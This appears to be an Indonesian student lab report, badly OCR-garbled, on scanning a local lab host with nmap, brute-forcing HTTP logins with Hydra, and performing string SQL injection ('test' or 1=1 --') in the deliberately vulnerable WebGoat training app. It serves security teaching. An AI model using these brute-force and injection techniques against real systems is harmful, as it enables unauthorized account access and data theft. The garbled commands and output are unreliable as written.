IP target : 192.168.200.2

Brute force attack adalah sebuah metode untuk menebak suatu kunci dari sebuah enkripsi atau sebuah
otentikasi dengan cara mencobanya berkali-kali dengan berbagai macam kombinasi huruf, angka dan

simbol. Dalam percobaan kali ini akan mencoba Brute Force menggunakan hydra :
1. Membuat IP Address terlebih dahulu

rootRubuntu : shomesubuntut ifconfig ethd 192.168.200.2 netmask 255.255.255.0
root@ubuntu i homesubuntuft ifconfig

Link encap:Ethernet HUWaddr 08:00:27:10:8a:e2

inet addr:192.168.200.2 Bcast:192.168.200.255 Mask:255.255.255.0

inetb addr: feB0::a00:27ff :fel0:Bael 641 Scope:Link

UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1

R¥ packet=z:4 errors:0 dropped:0 overruns:0 frame:0

T¥ packets:55 errors:0 dropped:@ overruns:0 carrier:0

collizions:0 txqueuelen: 1000

B¥X bytes:2360 (2.3 KB) TX bytes:10236 (10.2 KB)

Link encap:Local Loopback

inet addr:127.0.0.1 Mask:255.0.0.0

inett addr: ::1-128 Scope:Host

UP LOOPBACK RUNNING HMTU:65536 HMetric:1

R¥X packets:2240 errors:0 dropped:0 overruns:0 frame:0
TX packet=:2240 errors:0 dropped:0 overrunz:0 carrier:0
collisionz:0 txgqueuelen:O

R¥ bytes:97981 (97.9 KB) TX bytes:97981 (97.9 KB

rootEfubuntu : home ubuntudt

2. Melakukan port scanning menggunakan nmap pada Ip target

bt ~ J§ nmap —sV 192.168.200.2

Starting Mmap 4.20 ( http:rsinsecure.org ) at Z017-03-ZZ 10:46 GMT
Interesting ports on 192_168.200.2:

Mot shown: 1695 closed ports

PORT STATE SERVICE VERSION

ZZstcp open  ssh ({protocol Z.0)

80tcp open hitp fipache httpd 2.4.7 ((Ubuntul)

1 =zervice unrecognized despite returning data. If you know the =zervicerversion, please submit the following
fingerprint at http: - wwu.insecure.orgrcgi-binsservicefp—submit._cgi

SF-Port22-TCP :U=4 .20 1=7D=3-22x T ine=58D2561C»P=i686—pc- 1 inux—gnu-r(NULL, 2

SF:9, "SSH-2\ . 0-0penSSH_BN . 6N . 1p1ha@0Ubuntu—2ubuntuzsrsn'') ;

MAC Address: 08:00:27:10:8A:EZ2 (Cadmus Computer Systems)

Service detection performed. Please report any incorrect results at http:/rinsecure.orgsnmapssubmits .
Mmap finished: 1 IP address (1 host up) scammed in 19.536 seconds
bt

3. Setelah melakukan port scanning, kita mendapatkan informasi port apa saja yang digunakan oleh
sistem operasi tersebut. Dalam percobaan diatas, port yang terbuka yaitu :
e Port 22 untuk service ssh

e Port 80 untuk service http


http://en.wikipedia.org/wiki/Brute-force_attack

4. Kemudian membuat file yang akan dijadikan sebagai bahan untuk mengetes aplikasi hydra

tersebut. Disini file tersebut berekstensi .txt yaitu “ mardiah.txt “

GNU nano 2.2.6 File: mardiah.txt

5. Kemudian jalankan hydra dengan asumsi username adalah admin dan service yang mau dibrute

force adalah http

root@ubuntu : -home ubuntu#f hydra -1 admin -F mardiah.txt 192.168.200.2 http
ydra v?.5 (c)2013 by van Hauser~THC & David Maciejak - for legal purposes only

ydra (http:--www.thc.orgsthc-hydra) starting at 2017-03-22 03:49:09
[WARNING] The service http has been replaced with http-head and http-get, using
by default GET method. Same for hitps.
[WARNING] You must supply the web page as an additional option or via -m, defaul
path =set to ~
[DATA] 11 tasks, 1 server, 11 login tries (1:1-p:11), ™1 try per task
[DATA] attacking service http-get on port 80
1 1 host: login: password :
1L host: login: password :
host: login: password :
host: login: password :
host: login: password :
host: login: password :
host: login: password :
host: login: password :
host: login: password :
host: login: password :
1 host: login: password :
of 1 target successfully completed, 11 valid passwords found
ydra C(http:r-wwu.thc.orgsthc-hydra) finished at 2017-03-22 03:49:10
root@ubuntu : ~home ubuntuf _

]
]
1
]
]
]
]
]
]

= Prosesnya dapat memakan waktu yang cukup lama, semakin panjang dan kompleks kunci yang

di brute force maka semakin lama waktu yang diperlukan.

Setelah melakukan Brute Force, selanjutanya mencoba aplikasi web yang lemah dan rentan terhadap
serangan yang mana berguna untuk mempelajari serangan aplikasi web yang lemah dan rentan terhadap
serangan. Pada percobaan kali ini, mencoba aplikasi web “ WebGoat” pada DVL. WebGoat adalah sebuah
aplikasi web yang sengaja dibuat tidak aman dan dirancang untuk mengajarkan pelatihan keamanan

aplikasi web.


http://en.wikipedia.org/wiki/User_%28computing%29

1. Pilih “ Strat WebGoat Port 80 “ pada WebGoat di DVL
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% Start WebGoat Frontend (Port 8080)
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Stop WebGoat

2. Buka SerachEngine dan masukkan alamat “ http://127.0.0.1/WebGoat/Attack “. Masukkan

username dan password : guest

.‘l‘\' "' ﬁ http://127.0.0.1/WebGoat/Attack Y |G‘|' Go

Portal || DVL Support || Crackmes.de || CodeBreakers

3 act i
& G Authentication Required

2| Enter username and password for "WebGoat Application” at http://127.0.0.1
User Name

|guest

Password:

| HH+|
[ Use Password Manager to remember this password re

Cancel ‘ OK ‘

Try Again

3. Tampilan dibawah ini merupakan tampilan awal WebGoat.


http://127.0.0.1/WebGoat/Attack

owasPwebGoatvs.1 ||

Thank you for using YWehGoat!

This program is a demonstration of common web application flaws. The exercises are intended to provide
hands on experience with application penetration testing techniques.

The WebGoat project is lead by Bruce Mayhew. Please send all comments to Bruce at webgoat@owasp.org.
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4. Kemudian pilih “ String SQL Injection “ dan masukkan data string yang akan di cari. Dalam
percobaan ini mencari nama Smith. Maka WebGoat akan menampilkan semua user name atau

last name dengan nama Smith

Logout
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5. Selanjutnya, melakukan pencarian dengan menginputkan “ test’ or 1 = 1 - - “ . Di bawah ini
merupakan tampilan pencarian. WebGoat akan menampilkan user data dimana last name nya di

akhiri dengan “ ‘test' or 1 =1 - - “ . Maksud 1=1 adalah boolean true walaupun kita salah masih

akan bernilai true



=

* Congratulations. You have successfully completed this lesson.
" Bet wou can't do it again! This lesson has detected your successfull attack and has now switched to a
defensive mode. Try again to attack a parameterized guery.

Enter your last name: Itest' or1=1 -- Go!

SELECT * FRO user data WHERE last name = 'test' or 1=1 --'

[USERID |[FIRST_NAME [LAST_MAME |CC_NUMBER |[CC_TVPE||COOKIE [LOGIN_COUNT
[1o1 [[oe |Snaw jpEves4s2l  [wisa | o
[1o1 [[oe B 2234200065411 [MC | o
[toz  [[John [Smith 2435600002222 [MC | o
[1o2 [[dohn |Smith [4352200902222 [AMEX || o
[103  |[dane |Flane [l234s6789  |[MC | o
[1oz |[Jane |Flare 333498703333 |[AMEX || o
[1oz12 |[Joly [Hershey |1 76896759 [MC | o
[10312 |[daiy [Hershey 333300003333 |[AMEX || o
[10323 |[Grurnpy [White [7aga4489  |[MC | o
[10523 |[Grumpy [White 33413003333 |[2MEX || o
[15603 |[Peter |gand |1 23604759 [MC | o
[15603 |[Peter |Sand 336693453333 |[AMEX || o
[15613 |[Joesph |Something  [33843453533  |[aMEX || o

Itulah kesalahan dari WebGoat karna tidak memfilter inputan yang masukterlebih dahulu. Tetapi
kembali lagi alasan WebGoat dibuat yaitu sebagai aplikasi web pelatihan yang lemah terhadap

serangan.



